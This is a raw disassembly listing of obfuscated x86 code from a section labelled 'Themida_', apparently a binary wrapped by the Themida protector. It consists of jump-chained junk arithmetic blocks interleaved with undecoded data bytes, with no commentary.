		jmp	loc_5615D4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFD1C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553D7D:				; CODE XREF: Themida_:0055AB1Dj
		pop	edx
		add	esp, 4
		add	esp, 4
		pop	edi
		push	edx
		jmp	loc_55807A
; ---------------------------------------------------------------------------
		db 5, 31h, 5
		dd 1D2D0FDFh, 0E98FAC65h, 805Dh, 2474FF56h, 48F5E04h, 24248B24h
		dd 0FF240489h, 148B2434h, 4C48124h, 53000000h, 0FF34E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553DC2:				; CODE XREF: Themida_:0055ED7Bj
		mov	esi, ebx
		pop	ebx
		jmp	loc_55DEF9
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 422266F5h, 0EE81FE29h, 422266F5h, 6824C681h,	15F2EB4h
		dd 5CE95EF1h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553DE7:				; CODE XREF: Themida_:0055EF32j
		add	ebp, ebx
		jmp	loc_563264
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 6F209B88h, 295DEE01h, 0C6815EF2h, 56223933h,	0E950D601h
		dd 25D2h, 55BDD01h, 2271BB7h, 0B72DE801h, 5D02271Bh, 0E904EC83h
		dd 0D575h, 20B9CA81h, 0C2815657h, 616063A7h, 0C98E281h
		dd 0EE9348Eh, 5400005Eh, 5124048Fh, 4B9h, 244C0100h, 240C8B04h
		dd 0E904C483h, 7DE9h
; ---------------------------------------------------------------------------


loc_553E50:				; CODE XREF: Themida_:005522BFj
		sub	ebp, 0A8E91F91h
		sub	ecx, ebp
		pop	ebp
		pop	esi
		jmp	loc_55B8AF
; ---------------------------------------------------------------------------


loc_553E5F:				; CODE XREF: Themida_:00560695j
		sub	ecx, edx
		push	1D32h
		mov	[esp], eax
		jmp	loc_550711
; ---------------------------------------------------------------------------
		dw 5D59h
		dd 4B9515Ah, 81000000h,	0A0D15EAh, 81CA013Ah, 0A0D15C2h
		dd 2AE9593Ah, 0BF000084h, 71D77475h, 7A68F781h,	0C3E9DF9Dh
		dd 890000BBh, 4832424h,	555A0424h, 405EE9h, 5BDE8800h
		dd 0E917EE80h, 766Dh, 57D0015Ah, 0CB2853BFh, 5FF8290Ah
		dd 0D68055Ah, 0E95A0DA4h, 3D49h, 1453BA52h, 1DE927F1h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553ED7:				; CODE XREF: Themida_:0055E9ABj
		xor	ebp, 36B00FAh
		add	ebp, 44FF1EF1h
		jmp	loc_5557D7
; ---------------------------------------------------------------------------
		dd 0E9240487h, 0F51Bh
; ---------------------------------------------------------------------------


loc_553EF0:				; CODE XREF: Themida_:00560BD5j
		xor	edx, 767B6AAEh
		push	32A0h
		mov	[esp], ecx
		jmp	loc_55D6D4
; ---------------------------------------------------------------------------


loc_553F03:				; CODE XREF: Themida_:0055E1FBj
		mov	[esp], ebx
		mov	ebx, 18AD055Eh
		neg	ebx
		shr	ebx, 3
		jmp	loc_551E79
; ---------------------------------------------------------------------------


loc_553F15:				; CODE XREF: Themida_:00555AAAj
		push	eax
		sub	dword ptr [esp], 11DA3AD1h
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_560EDD
; ---------------------------------------------------------------------------


loc_553F37:				; CODE XREF: Themida_:0056171Aj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_55E8CF
; ---------------------------------------------------------------------------


loc_553F51:				; CODE XREF: Themida_:00556E7Fj
		add	esp, 2
		xor	ch, 6
		neg	ch
		jmp	loc_551A05
; ---------------------------------------------------------------------------


loc_553F5E:				; CODE XREF: Themida_:0055996Bj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	edx, 36320A9h
		push	ebp
		mov	ebp, edx
		jmp	loc_55AB14
; ---------------------------------------------------------------------------
		db 1, 0C7h, 53h
		dd 0FFBC74E9h, 0B95146FFh, 0D1D7BDFh, 0C8BCE09h, 4C48324h
		dd 24C2F681h, 0EE8118FEh, 131767FBh, 4FE9F701h,	890000E0h
		dd 51682414h, 8B52E009h, 0E0E92414h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553FAB:				; CODE XREF: Themida_:0055A95Fj
		mov	cl, 37h
		sub	dl, cl
		pop	ecx
		jmp	loc_5501D6
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 0E9000000h, 5D95h
; ---------------------------------------------------------------------------


loc_553FC0:				; CODE XREF: Themida_:0055E56Ej
		pop	ebx
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 48F00AABh
		shl	ecx, 7
		dec	ecx
		add	ecx, 271C7AFBh
		shr	ecx, 7
		shr	ecx, 7
		xor	ecx, 27C83h
		jmp	loc_5501B6
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 5E3A7293h, 0E95FFA89h, 0FFFFECFEh, 8B24048Fh, 48B2424h
		dd 4EC8124h, 89000000h,	88E9242Ch, 8F0000C9h, 665C2404h
		dd 8324048Bh, 83E904ECh, 0BF00003Bh, 67B02B0Ah,	5B17B951h
		dd 0C181081Bh, 37A1F60Fh, 3159CA89h, 2434FFFAh,	0D94DE95Fh
		dd 7D680000h, 89000058h, 74FF243Ch, 34FF0424h, 0FEE95F24h
		dd 66FFFFFCh, 6824048Bh, 857h, 54242C89h, 0FFC288E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554069:				; CODE XREF: Themida_:0055CF20j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_55261C
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 6
		dd 891AEF2Ah, 0FD015BDFh, 783DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55408D:				; CODE XREF: Themida_:005593E8j
		mov	ecx, ebp
		pop	ebp
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	edx, 3
		jmp	loc_5648B5
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 74h
		dd 8B4AB774h, 0C483242Ch, 24343304h, 33243431h,	248B2434h
		dd 2424D324h, 0B754E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5540C2:				; CODE XREF: Themida_:00558729j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 18A06B23h
		jmp	loc_55EBC2
; ---------------------------------------------------------------------------


loc_5540D5:				; CODE XREF: Themida_:0055EDD1j
		push	2527h
		mov	[esp], eax
		mov	eax, 1A6D03EBh
		push	esi
		mov	esi, 42422BDFh
		sub	esi, 4429126Ch
		or	esi, 70874432h
		add	esi, 750F0FE3h
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_556669
; ---------------------------------------------------------------------------


loc_554104:				; CODE XREF: Themida_:00557A04j
		and	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		and	ebp, 79C654Ch
		sub	ebp, 4ABB795Ch
		sub	ebp, 1
		push	ebx
		mov	ebx, 16620F04h
		dec	ebx
		neg	ebx
		xor	ebx, 53F478F3h
		jmp	loc_551BAC
; ---------------------------------------------------------------------------
aSvsa		db 'SVA',0
		align 4
		dd offset dword_4B5248+2C20h
		dd 24048900h, 8904EC83h, 4812424h, 424h, 4055800h, 68000000h
		dd 6444h, 0BD242C89h, 4, 0E195805h, 0E9E8010Bh,	10476h
; ---------------------------------------------------------------------------


loc_554170:				; CODE XREF: Themida_:00551AA6j
		mov	ebx, 29B89D44h
		sub	ebx, esi
		pop	esi
		jmp	loc_553350
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 3970E9h, 0BCF28100h,	4229B070h, 8108E2C1h, 8CCCA3EAh
		dd 4FB3E996h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55419A:				; CODE XREF: Themida_:00560448j
		neg	dl
		jmp	loc_555D40
; ---------------------------------------------------------------------------


loc_5541A1:				; CODE XREF: Themida_:00555DADj
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_554E12
; ---------------------------------------------------------------------------
		dd 6C1533B9h, 70C1817Ah, 9A3BC48h, 0E0E959CBh, 83FFFFCCh
		dd 148704C2h, 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55DA66
; ---------------------------------------------------------------------------
		dw 8FBFh
		dd 0E944AD4Ah, 0ABF2h, 657B0559h, 31E917FCh, 66FFFFD8h
		dd 5024048Bh, 0BB68E089h, 89000003h, 4B9240Ch, 57000000h
		dd 0FFF116E9h, 1C8B5AFFh, 4C48324h, 520BB353h, 2AA4E9h
		dd 8B254800h, 0C120BF24h, 0E94007E0h, 10575h, 63E9FD01h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55422F:				; CODE XREF: Themida_:00551737j
		mov	edx, 1ED06A18h
		sub	edx, 23554031h
		dec	edx
		or	edx, 3E26F40h
		sub	edx, 86FDF2E5h
		xor	ebx, edx
		pop	edx
		or	ebx, 4058539Bh
		sub	ebx, 1
		jmp	loc_563EF3
; ---------------------------------------------------------------------------


loc_55425B:				; CODE XREF: Themida_:00561C94j
		inc	dh
		add	dh, 5
		jmp	loc_5500C8
; ---------------------------------------------------------------------------
aPKl3s9		db 'P',27h,'kL3"9',0
		align 10h
		dd 0B93DE95Fh, 0C87FFFFh, 0E378E924h, 77FF0000h, 58669D1Ch
		dd 24041966h, 0B588E99Ch, 8B66FFFFh, 0CB68240Ch, 0E900004Fh
		dd 63BBh, 62AAB12Dh, 0E9C7310Ah, 388Fh,	0B850C388h, 25710142h
		dd 8CBB5355h, 0E923C908h, 64E5h
; ---------------------------------------------------------------------------


loc_5542BC:				; CODE XREF: Themida_:0055FE78j
		mov	eax, 3900354Fh
		add	ebp, eax
		pop	eax
		jmp	loc_564F5C
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4BEh, 5EF18900h, 43FDEA81h, 0CA01498Dh, 3988E9h
		db 0
; ---------------------------------------------------------------------------


loc_5542E1:				; CODE XREF: Themida_:00564664j
		add	ebx, edi
		pop	edi
		add	ebx, eax
		jmp	loc_5588F7
; ---------------------------------------------------------------------------
		db 0Dh
		dd 1FD6557Dh, 0C46BD135h, 0B232505h, 0B8E97EEDh, 68000009h
		dd 712Ah, 5E08950h, 4, 8704E883h, 0E95C2404h, 0FFFFB7C0h
		dd 0C781DF01h, 7A305179h, 0E95D575Bh, 8C82h, 5DEA295Bh
		dd 0FFC4B4E9h, 0E08950FFh, 405h, 40500h, 1FE90000h, 890000B3h
		dd 26E92404h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55434B:				; CODE XREF: Themida_:00564766j
		add	ecx, ebx
		xor	[ecx], eax
		jmp	loc_551539
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 77D77E5Fh, 3C8BF831h, 4C48124h, 1000000h
		dd 0FF042444h, 0FBE92434h, 33000085h, 248B2414h, 0E9D1F624h
		dd 9282h, 0E904C483h, 0FFFFFF14h, 5204C283h, 0E78EE9h
		db 0
; ---------------------------------------------------------------------------


loc_554391:				; CODE XREF: Themida_:0055D53Cj
		push	7430h
		mov	[esp], edi
		jmp	loc_55A964
; ---------------------------------------------------------------------------


loc_55439E:				; CODE XREF: Themida_:00559F20j
		jz	loc_55035F
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55ECB0
; ---------------------------------------------------------------------------
		db 89h
		dd 0DBF5EF2h, 81D3024Ch, 8D4EFDEFh, 83C7811Dh, 292A5C03h
		dd 83EF81D7h, 812A5C03h, 8D4EFDC7h, 0F74F5A1Dh,	0B1A2E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5543DA:				; CODE XREF: Themida_:00564BE8j
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	4374h
		mov	[esp], ebp
		mov	ebp, 15F56D24h
		shr	ebp, 3
		xor	ebp, 3DB72BCCh
		sub	ebp, 2EFD1D87h
		add	ebp, 0EFF39721h
		jmp	loc_5512E1
; ---------------------------------------------------------------------------
		dd 48BC589h, 47E95724h,	1FFFFCDh, 0C8B5BDEh, 7E95624h
		dd 2DFFFFBEh, 0BC72BD7h, 0D705F001h, 2D0BC72Bh,	3544552Bh
		dd 0BA48E9h
		db 0
; ---------------------------------------------------------------------------


loc_554435:				; CODE XREF: Themida_:00553257j
		pop	ecx
		add	esp, 4
		push	16E6h
		mov	[esp], esi
		mov	esi, 506E7A03h
		push	eax
		push	25A5h
		jmp	loc_55D657
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 4671h, 0FF240C89h, 59042474h, 8B24048Fh
		dd 1C892424h, 36356824h, 2BE90000h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554477:				; CODE XREF: Themida_:0056291Fj
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_559A8F
; ---------------------------------------------------------------------------


loc_55448B:				; CODE XREF: Themida_:0056483Bj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_56358C
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0D6h
		dd 0E91FB262h, 341h, 0B8240489h, 4, 34FFC629h, 24048B24h
		dd 0E904C483h, 775Eh, 89243C89h, 4C781E7h, 53000000h, 0DF5AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5544C9:				; CODE XREF: Themida_:00550E3Dj
		sub	ebp, ecx
		pop	ecx
		add	ebp, esi
		push	edx
		mov	edx, 403375EFh
		and	edx, 63D14D27h
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		sub	edx, 0BBB45E12h
		add	ebp, edx
		jmp	loc_564BE7
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 6Fh
		dd 0C096C580h, 0E58003EDh, 0FFED8050h, 8006EDC0h, 0EB28CDC5h
		dd 0E9DA8859h, 0B817h, 4EC81h, 14890000h, 32BE5624h, 0E97CBD39h
		dd 0FFFFFE8Fh
; ---------------------------------------------------------------------------


loc_554520:				; CODE XREF: Themida_:005588D0j
		pop	edx
		push	esi
		jmp	loc_55094B
; ---------------------------------------------------------------------------
		db 0Dh
		dd 322E3B25h, 0B619E948h, 148BFFFFh, 2DE95324h,	2DFFFFEEh
		dd 748D425Eh, 5E05F801h, 5F748D42h, 0EC815553h,	4, 0B9240C89h
		dd 49039A2h, 19E6E951h,	0EDC10000h, 0ED814507h,	0A9D8D504h
		dd 3FBAF581h, 0EE892E7Ah, 0E9F0315Dh, 0E8ECh
; ---------------------------------------------------------------------------


loc_554578:				; CODE XREF: Themida_:0055B5D0j
		pop	ecx
		jmp	loc_55CCBE
; ---------------------------------------------------------------------------
		dw 0DA89h
		dd 8904EC83h, 2C812414h, 2A744C24h, 2434FF17h, 4C4835Bh
		dd 4EC81h, 2C890000h, 0F8685224h, 0E9431170h, 0FFFFD207h
; ---------------------------------------------------------------------------


loc_5545A8:				; CODE XREF: Themida_:00551C61j
		add	edx, 17A01657h
		mov	edi, [esp]
		add	esp, 4
		sub	edx, edi
		sub	edx, 1B30CAh
		pop	edi
		add	edx, eax
		jmp	loc_56098A
; ---------------------------------------------------------------------------
		dd 4BE565Fh, 0E9000000h, 0D51Dh
; ---------------------------------------------------------------------------


loc_5545D0:				; CODE XREF: Themida_:00560D40j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_55BA38
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55B989
; ---------------------------------------------------------------------------


loc_5545F7:				; CODE XREF: Themida_:005585EEj
		mov	esi, 80h
		push	ebp
		push	7AA5h
		mov	[esp], edi
		push	6B0Ah
		jmp	loc_55AA85
; ---------------------------------------------------------------------------


loc_55460F:				; CODE XREF: Themida_:005523CEj
		add	ebx, 63D36888h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_552B30
; ---------------------------------------------------------------------------


loc_554620:				; CODE XREF: Themida_:00559B38j
		shl	ecx, 4
		shr	ecx, 6
		not	ecx
		sub	esp, 4
		jmp	loc_55B553
; ---------------------------------------------------------------------------


loc_554633:				; CODE XREF: Themida_:0055F5D6j
		add	ebx, 1
		inc	ebx
		push	eax
		mov	eax, 3A485FB2h
		jmp	loc_555C75
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 3CB75324h, 0E7C0EFD0h, 0F6CFFE03h, 0B8DEE9DFh, 8768FFFFh
		dd 0E9000001h, 0FFFFB908h
; ---------------------------------------------------------------------------


loc_554660:				; CODE XREF: Themida_:0055AD4Aj
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_553C02
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 0C025E95Ch, 93E90000h, 5DFFFFB1h,	5E5DEB81h
		dd 9FE940D3h, 29000040h, 0F3015FFBh, 3DDAC381h,	46E916B5h
		dd 0F70000B8h, 13E953DEh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5546A7:				; CODE XREF: Themida_:0055A577j
		xchg	ebp, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0EA810000h, 4, 2474FF52h, 48F5A04h, 24248B24h
		dd 0F816E9h
		db 0
; ---------------------------------------------------------------------------


loc_5546D5:				; CODE XREF: Themida_:005578EFj
		add	esp, 4
		inc	ebp
		neg	ebp
		or	ebp, 477107F4h
		inc	ebp
		add	ebp, 88E76451h
		jmp	loc_564042
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0C4h
		dd 242C8B04h, 104C483h,	4DB7E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5546FE:				; CODE XREF: Themida_:00552ECAj
		add	eax, 54484007h
		pop	ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5577D7
; ---------------------------------------------------------------------------


loc_554724:				; CODE XREF: Themida_:00551D9Ej
		xor	[esp+4], edi
		pop	edi
		pop	eax
		xor	eax, 48B26A06h
		mov	ebp, [esp]
		jmp	loc_55FE25
; ---------------------------------------------------------------------------


loc_554737:				; CODE XREF: Themida_:0055D74Fj
		add	ebp, esi
		jmp	loc_5515A9
; ---------------------------------------------------------------------------


loc_55473E:				; CODE XREF: Themida_:00550D3Fj
		add	ebp, 4
		jmp	loc_55F4BB
; ---------------------------------------------------------------------------
		dw 7205h
		dd 52C0071h, 7109633Fh,	5F37D005h, 6BE95F3Bh, 5B000096h
		dd 5EE5EF81h, 0B951572Fh, 0C4C226Ah, 0DE0AC181h, 0EF811059h
		dd 420610AEh, 4C72EF81h, 52E92491h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55477F:				; CODE XREF: Themida_:00555DEFj
		add	ebx, 6D631E67h
		sub	ebx, 5E2545ADh
		add	ebx, ecx
		jmp	loc_564997
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 2A7h, 1D7E981h, 0E92948CAh, 1D7C181h, 0E98148CAh, 34AA4CB5h
		dd 0FFE6F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5547B1:				; CODE XREF: Themida_:00553CB0j
		mov	ebp, 7B937A6Dh
		add	edi, ebp
		jmp	loc_56486F
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 4798E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5547C6:				; CODE XREF: Themida_:0056196Ej
		sub	edx, 6167FA3h
		add	edx, ebp
		add	edx, 6167FA3h
		jmp	loc_550C3B
; ---------------------------------------------------------------------------
		db 1, 0C5h, 58h
		dd 5BDBE9h, 8EBC100h, 5FFDF381h, 0DE29FFF2h, 81241C8Bh
		dd 4C4h, 38EE8100h, 319019C4h, 24348BF0h, 68E38953h, 1CCh
		dd 68243489h, 22225C3Bh, 0A824E9h
		db 0
; ---------------------------------------------------------------------------


loc_554815:				; CODE XREF: Themida_:005564E9j
		mov	cl, ah
		pop	eax
		shl	cl, 8
		jmp	loc_5618B2
; ---------------------------------------------------------------------------
		dd 7297E181h, 7EE9757Ah
		db 6, 1, 0
; ---------------------------------------------------------------------------


loc_55482B:				; CODE XREF: Themida_:00561FE5j
		pop	ebx
		add	eax, ecx
		add	eax, 132A7CC4h
		pop	ecx
		jmp	loc_550F1E
; ---------------------------------------------------------------------------


loc_554839:				; CODE XREF: Themida_:00563902j
		mov	esi, 2698101Fh
		or	ebx, esi
		pop	esi
		xor	ebx, 14C81366h
		jmp	loc_56070C
; ---------------------------------------------------------------------------
		dd 4BAh, 0FFD50100h, 148B2434h,	4C48124h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 6B651CC3h
		push	5A8Ch
		mov	[esp], edx
		mov	edx, 7C291668h
		jmp	loc_562A1C
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4ECh, 0C45E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554886:				; CODE XREF: Themida_:0055BD28j
		push	44F4h
		mov	[esp], eax
		push	75C692Ch
		pop	eax
		push	edi
		jmp	loc_55A341
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 1DCE7414h, 0DE9C601h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5548A7:				; CODE XREF: Themida_:0055DDF2j
		pop	edx
		add	edx, 19A95915h
		sub	edx, ebp
		sub	edx, 19A95915h
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[edi+20h], edx
		jmp	loc_55EEBC
; ---------------------------------------------------------------------------
		dd 895BD831h, 0D00158C2h, 2B9515Ah, 1000000h, 240C8BC8h
		dd 5E08950h, 4,	8704C083h, 248B2404h, 24048724h, 0C8B665Ch
		dd 0F3DDE924h, 2C890000h, 30E95424h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55490B:				; CODE XREF: Themida_:005609D3j
		mov	[esp], edx
		push	55F5h
		jmp	loc_563B60
; ---------------------------------------------------------------------------
		dd 305EE81h, 17E971E3h,	89000010h, 5A542414h, 0FFFD29E9h
		dd 5C7BBDFFh, 0D5F71C78h, 9B94E9h
		db 0
; ---------------------------------------------------------------------------


loc_554939:				; CODE XREF: Themida_:005592F6j
		jmp	loc_54F816
; ---------------------------------------------------------------------------


loc_55493E:				; CODE XREF: Themida_:00551ED0j
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	24C8h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bl, dl
		mov	ah, bl
		jmp	loc_561711
; ---------------------------------------------------------------------------


loc_55496E:				; CODE XREF: Themida_:0056499Ej
		mov	[esp], edx
		jmp	loc_564EC4
; ---------------------------------------------------------------------------
		dw 0FE29h
		dd 52C6015Fh, 3553BE56h, 0DEF75D1Ch, 8103EEC1h,	1D35DDCEh
		dd 0B965E92Dh, 0BD55FFFFh, 3A3A3C51h, 5779E581h, 0C581758Fh
		dd 39AC6170h, 15DEB31h,	4776E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5549AE:				; CODE XREF: Themida_:0055E693j
		mov	[esp], eax
		mov	eax, 38CF743Dh
		inc	eax
		neg	eax
		not	eax
		push	ebx
		push	esi
		mov	esi, 68F141F3h
		mov	ebx, 5F8C3632h
		xor	ebx, esi
		pop	esi
		shr	ebx, 3
		not	ebx
		or	ebx, 393728CFh
		add	ebx, 4432EF4Fh
		jmp	loc_55298F
; ---------------------------------------------------------------------------
		dd 0F897C781h, 0F801177Eh, 58C1015Fh, 8704C183h, 8B5C240Ch
		dd 5B68240Ch, 0E9000039h, 0F3D3h
; ---------------------------------------------------------------------------


loc_554A00:				; CODE XREF: Themida_:00554C63j
		push	edi
		push	esi
		pop	edi
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	esi
		push	esp
		jmp	loc_56230B
; ---------------------------------------------------------------------------


loc_554A18:				; CODE XREF: Themida_:00550DB1j
		sub	edx, 10441F32h
		add	ecx, edx
		jmp	loc_550590
; ---------------------------------------------------------------------------
aAUsyf		db 'Y',0
		dd 5E25BF00h, 0FAE90565h, 89FFFFD3h, 0B4E92434h, 57FFFFD4h
		dd 8904EC83h, 0E953240Ch, 1B64h, 14104BFh, 13AB85Eh, 0F83137EDh
		dd 4DEE2D5Fh, 0E0D133B1h, 721A68h, 241C8900h, 7A03DDBBh
		dd 2E3C17Bh, 0A812E9h, 4B900h, 0CF010000h, 1139E959h, 8B660000h
		dd 5AE92404h, 4E00005Ah, 0D1EE9h, 4886BF00h, 0A26845D1h
		dd 0E9000046h, 0FFFFC90Ah, 252ABB53h, 0D8015822h, 2DC8295Bh
		dd 5822252Ah, 592434FFh, 5004C483h, 0C0E9E089h,	5AFFFFC0h
		dd 41CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_554AC5:				; CODE XREF: Themida_:0055DEBDj
		add	esp, 4
		or	esi, 71DC6BB3h
		jmp	loc_55DE79
; ---------------------------------------------------------------------------


loc_554AD3:				; CODE XREF: Themida_:0055E120j
		mov	edi, 24C57637h
		sub	ebx, edi
		pop	edi
		jmp	loc_559F34
; ---------------------------------------------------------------------------


loc_554AE0:				; CODE XREF: Themida_:005509C5j
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 0D461186h
		push	ebx
		mov	ebx, 639D0332h
		jmp	loc_54FFA0
; ---------------------------------------------------------------------------


loc_554AF6:				; CODE XREF: Themida_:00564998j
		mov	edx, 5E2545ADh
		add	ebx, edx
		pop	edx
		sub	ebx, 6D631E67h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_564CE9
; ---------------------------------------------------------------------------
		dd 24048F5Dh, 1489665Ch, 9C506624h, 0FFACE5E9h,	94F181FFh
		dd 0E9AEFAB3h, 9FA1h, 63532EBFh, 0FFEF831Bh, 9750E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554B4A:				; CODE XREF: Themida_:0056297Bj
		or	ebp, 3271533Ch
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 67F14DDFh
		or	ebx, 6EA22BF3h
		dec	ebx
		shl	ebx, 5
		add	ebx, 40210C8Ah
		xor	ebx, 7D2B6DBEh
		and	ebp, ebx
		jmp	loc_555524
; ---------------------------------------------------------------------------
		db 53h
		dd 9CE9E389h, 57000016h, 0E0E9E789h, 410000B0h,	0C102E1C1h
		dd 0E98107E9h, 8C4BE6h,	9B51E9h, 89F08900h, 0D181E9C3h
		dd 685EFFFFh, 3875h, 0D8A2E9h, 1F73B900h, 0FFBB475Ch, 100E052h
		dd 0EA8159CBh, 7B71127Eh, 0C281DA29h, 7B71127Eh, 0EC835F5Bh
		dd 242C8904h, 2BDh, 4DC28100h, 81322F0Eh, 52BB4EAh, 0E9EA0179h
		dd 297Ah, 50CFF580h, 0B1E9A0B0h, 83000012h, 74E904C3h
		dd 89000000h, 0D9F75BD9h, 1A02E949h, 0E6810000h, 2FFA7A30h
		dd 0F681D6F7h, 0DBC7AFDBh, 15EF089h, 900DE9C1h,	0FD010000h
		dd 2189ED81h, 505F3710h, 2B8h, 3CED8100h, 0E937715Dh, 72AEh
		dd 0E9243C8Bh, 0B3EBh, 4C781h, 0EF830000h, 243C8704h, 0F245E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C56:				; CODE XREF: Themida_:005592D4j
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_554A00
; ---------------------------------------------------------------------------
aBuOs1		db '',9,8,'o1',0
		dw 8700h
		dd 15C241Ch, 0BF685FF9h, 8900007Bh, 74FF240Ch, 0C8B0424h
		dd 6AA4E924h, 0C6010000h, 5EF08958h, 5852548h, 0C6253D09h
		dd 68166866h, 36B3h, 0BD242C89h, 641657A6h, 2F64F581h
		dd 9E96E9Ah, 0F700007Fh, 0FE0540D0h, 0E99F693Fh, 6EE6h
; ---------------------------------------------------------------------------


loc_554CC4:				; CODE XREF: Themida_:0055BEABj
		pop	edx
		push	ebp
		push	ecx
		mov	ecx, 11C42072h
		mov	ebp, 8057931Eh
		sub	ebp, ecx
		pop	ecx
		dec	ebp
		inc	ebp
		jmp	loc_55DDD7
; ---------------------------------------------------------------------------
		db 89h
		dd 5B54241Ch, 0DC00E9h,	0E5EF8100h, 0E9257504h,	0FFFFB4A1h
		dd 4CC4C781h, 0FB09F7A9h, 0E9243C8Bh, 1E8Ch
; ---------------------------------------------------------------------------


loc_554D00:				; CODE XREF: Themida_:00564F63j
		add	ebp, edx
		jmp	loc_561B94
; ---------------------------------------------------------------------------


loc_554D07:				; CODE XREF: Themida_:0055C3D7j
		mov	edx, 0FFFFFFFFh
		add	ebx, edx
		pop	edx
		sub	ebx, 7F046EFAh
		push	45BCh
		mov	[esp], ebx
		jmp	loc_5506BE
; ---------------------------------------------------------------------------
		dw 483h
